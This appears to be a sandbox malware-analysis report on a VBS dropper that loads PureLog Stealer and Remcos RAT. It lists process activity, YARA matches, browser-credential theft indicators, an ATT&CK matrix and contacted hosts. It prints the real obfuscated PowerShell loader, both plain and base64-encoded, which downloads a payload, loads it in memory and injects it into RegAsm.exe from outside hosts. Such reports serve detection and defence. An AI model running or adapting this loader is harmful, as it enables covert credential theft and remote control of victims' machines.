Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhniruxsswrbmv0rjhnorwxssurbmtndkydyjykgkcgnrklpjysndxjsid0goxvpahr0chmnkyc6lycrjy9pytywmccrjzewmc51cy5hcmnojysnascrj3zllm9yzy8ync8nkydpdgvtcy9kzscrj3rhac1ub3rllscrj3yvrgv0yscrj2hojysnb3qnkydlvi50ehq5du87jysnrkknkydpjysnymfzzscrjzy0qycrj29ujysndccrj2vujysndccrjyankyc9ichozxctt2jqzwn0ifn5c3rlbs5ojysnzscrj3qnkycuv2vijysnqycrj2xpjysnzw50ks5ejysnb3cnkydubccrj29hzccrj1n0cmluzyhgjysnsscrj2knkyd1cicrj2wpjysno0zjawinkydpbmfyeunvbicrj3rljysnbnqnkycgjysnpsbbu3lzdgvtjysnlicrj0nvbnzlcnrdojpgcm9tqmenkydzzty0jysnu3qnkydyaw4nkydnjysnkeynkydjawjhcycrj2unkyc2nenvbnrljysnbnqpo0zjawfzjysnc2vtjysnymx5id0gjysnw1jlzmxljysny3qnkydpb24uqxnzzw1ibhldojpmbycrj2fkkezjawjpbicrj2fyjysneumnkydvbnrlbnqpo0zjaxr5jysncgugpsbgswlhc3mnkydlbscrj2jses5hzxqnkyduexblkdl1t1j1blankydflkhvbwu5dscrj08po0zjaw1ldghvzcankyc9ieynkydjjysnaxr5cgunkycur2v0twv0jysnag9kjysnkdl1t1zbjysnstl1tyk7ricrj0lpbwunkyd0jysnag8nkydkjysnlicrj0ludm9rzscrjyhgswknkydujysndwwnkydslcbbjysnb2jqzwmnkyd0w11dqcg5du90ehquricrj0mnkyddtvivjysnnzexmi8zmjeuotgumdkujysnntqvlzonkydwjysndccrj3rooscrj3vpicwgoxunkydpzgvzyxrpdmfkbzknkyd1jysntycrjyasidl1t2rljysncycrj2enkyd0ascrj3zhzccrj285du8glca5du9kzxnhdgl2jysnywrvoxvpldl1t1jlzycrj0fzbtl1tyw5du85jysndu8nkycpkscplnjfugxbq2uokftjaefsxtcwk1tjaefsxtczk1tjaefsxtewnsksw3nucmluz11by2hbul0znikuckvqbefdzsgow2noqvjdntcrw2noqvjdmte3k1tjaefsxtc5ksxbc1ryaw5nxvtjaefsxtm5ksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $shellid[1]+$shellid[13]+'x') (('fii'+'url = 9uohttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/deta'+'hn'+'ot'+'ev.txt9uo;'+'fi'+'i'+'base'+'64c'+'on'+'t'+'en'+'t'+' '+'= (new-object system.n'+'e'+'t'+'.web'+'c'+'li'+'ent).d'+'ow'+'nl'+'oad'+'string(f'+'i'+'i'+'ur'+'l)'+';fiib'+'inarycon'+'te'+'nt'+' '+'= [system'+'.'+'convert]::fromba'+'se64'+'st'+'rin'+'g'+'(f'+'iibas'+'e'+'64conte'+'nt);fiias'+'sem'+'bly = '+'[refle'+'ct'+'ion.assembly]::lo'+'ad(fiibin'+'ar'+'yc'+'ontent);fiity'+'pe = fiiass'+'em'+'bly.get'+'type(9uorunp'+'e.home9u'+'o);fiimethod '+'= f'+'i'+'itype'+'.getmet'+'hod'+'(9uova'+'i9uo);f'+'iime'+'t'+'ho'+'d'+'.'+'invoke'+'(fii'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uotxt.f'+'c'+'cmr/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uo , 9u'+'odesativado9'+'u'+'o'+' , 9uode'+'s'+'a'+'ti'+'vad'+'o9uo , 9uodesativ'+'ado9uo,9uoreg'+'asm9uo,9uo9'+'uo'+'))').replace(([char]70+[char]73+[char]105),[string][char]36).replace(([char]57+[char]117+[char]79),[string][char]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhniruxsswrbmv0rjhnorwxssurbmtndkydyjykgkcgnrklpjysndxjsid0goxvpahr0chmnkyc6lycrjy9pytywmccrjzewmc51cy5hcmnojysnascrj3zllm9yzy8ync8nkydpdgvtcy9kzscrj3rhac1ub3rllscrj3yvrgv0yscrj2hojysnb3qnkydlvi50ehq5du87jysnrkknkydpjysnymfzzscrjzy0qycrj29ujysndccrj2vujysndccrjyankyc9ichozxctt2jqzwn0ifn5c3rlbs5ojysnzscrj3qnkycuv2vijysnqycrj2xpjysnzw50ks5ejysnb3cnkydubccrj29hzccrj1n0cmluzyhgjysnsscrj2knkyd1cicrj2wpjysno0zjawinkydpbmfyeunvbicrj3rljysnbnqnkycgjysnpsbbu3lzdgvtjysnlicrj0nvbnzlcnrdojpgcm9tqmenkydzzty0jysnu3qnkydyaw4nkydnjysnkeynkydjawjhcycrj2unkyc2nenvbnrljysnbnqpo0zjawfzjysnc2vtjysnymx5id0gjysnw1jlzmxljysny3qnkydpb24uqxnzzw1ibhldojpmbycrj2fkkezjawjpbicrj2fyjysneumnkydvbnrlbnqpo0zjaxr5jysncgugpsbgswlhc3mnkydlbscrj2jses5hzxqnkyduexblkdl1t1j1blankydflkhvbwu5dscrj08po0zjaw1ldghvzcankyc9ieynkydjjysnaxr5cgunkycur2v0twv0jysnag9kjysnkdl1t1zbjysnstl1tyk7ricrj0lpbwunkyd0jysnag8nkydkjysnlicrj0ludm9rzscrjyhgswknkydujysndwwnkydslcbbjysnb2jqzwmnkyd0w11dqcg5du90ehquricrj0mnkyddtvivjysnnzexmi8zmjeuotgumdkujysnntqvlzonkydwjysndccrj3rooscrj3vpicwgoxunkydpzgvzyxrpdmfkbzknkyd1jysntycrjyasidl1t2rljysncycrj2enkyd0ascrj3zhzccrj285du8glca5du9kzxnhdgl2jysnywrvoxvpldl1t1jlzycrj0fzbtl1tyw5du85jysndu8nkycpkscplnjfugxbq2uokftjaefsxtcwk1tjaefsxtczk1tjaefsxtewnsksw3nucmluz11by2hbul0znikuckvqbefdzsgow2noqvjdntcrw2noqvjdmte3k1tjaefsxtc5ksxbc1ryaw5nxvtjaefsxtm5ksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $shellid[1]+$shellid[13]+'x') (('fii'+'url = 9uohttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/deta'+'hn'+'ot'+'ev.txt9uo;'+'fi'+'i'+'base'+'64c'+'on'+'t'+'en'+'t'+' '+'= (new-object system.n'+'e'+'t'+'.web'+'c'+'li'+'ent).d'+'ow'+'nl'+'oad'+'string(f'+'i'+'i'+'ur'+'l)'+';fiib'+'inarycon'+'te'+'nt'+' '+'= [system'+'.'+'convert]::fromba'+'se64'+'st'+'rin'+'g'+'(f'+'iibas'+'e'+'64conte'+'nt);fiias'+'sem'+'bly = '+'[refle'+'ct'+'ion.assembly]::lo'+'ad(fiibin'+'ar'+'yc'+'ontent);fiity'+'pe = fiiass'+'em'+'bly.get'+'type(9uorunp'+'e.home9u'+'o);fiimethod '+'= f'+'i'+'itype'+'.getmet'+'hod'+'(9uova'+'i9uo);f'+'iime'+'t'+'ho'+'d'+'.'+'invoke'+'(fii'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uotxt.f'+'c'+'cmr/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uo , 9u'+'odesativado9'+'u'+'o'+' , 9uode'+'s'+'a'+'ti'+'vad'+'o9uo , 9uodesativ'+'ado9uo,9uoreg'+'asm9uo,9uo9'+'uo'+'))').replace(([char]70+[char]73+[char]105),[string][char]36).replace(([char]57+[char]117+[char]79),[string][char]39))"	Jump to behavior

Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerh
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerH
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerf
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerF
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJA\6
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager;
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerK
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager*
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerQ
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager@
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJA\
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00434CB6 cpuid

11_2_00434CB6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	11_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	11_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	11_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	11_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	11_2_00451D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_00451FD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00404F51 GetLocalTime,CreateEventA,CreateThread,

11_2_00404F51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041B69E GetComputerNameExW,GetUserNameW,

11_2_0041B69E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

11_2_00449210

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected PureLog Stealer

Stealing of Sensitive Information

Source: Yara match	File source: 10.2.powershell.exe.26f3e654470.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.26f45f00000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.26f3e654470.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.26f45f00000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3DE40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

11_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		11_2_0040BB6B

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-O0U3JA

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.powershell.exe.26f3e654470.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.26f45f00000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.26f3e654470.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.26f45f00000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3DE40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

11_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Native API	221 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	3 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Software Packing	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	222 Process Injection	1 Bypass User Account Control	LSA Secrets	33 System Information Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	222 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5fKvwnCAeC.vbs	8%	ReversingLabs	Script.Trojan.Heuristic
5fKvwnCAeC.vbs	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://ia600100.us.archive.org	1%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
http://45.90.89.123/2117/RMCCF.txt	15%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://45.90.89.123	14%	Virustotal		Browse
http://ia600100.us.archive.org	0%	Virustotal		Browse
45.90.89.98	12%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
http://45.90.89.123/2117/RMCCF.txt	true	15%, Virustotal, Browse	unknown
45.90.89.98	true	12%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	RegAsm.exe	false	URL Reputation: safe URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 0000000A.00000002.1391003389.0000026F2E87A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
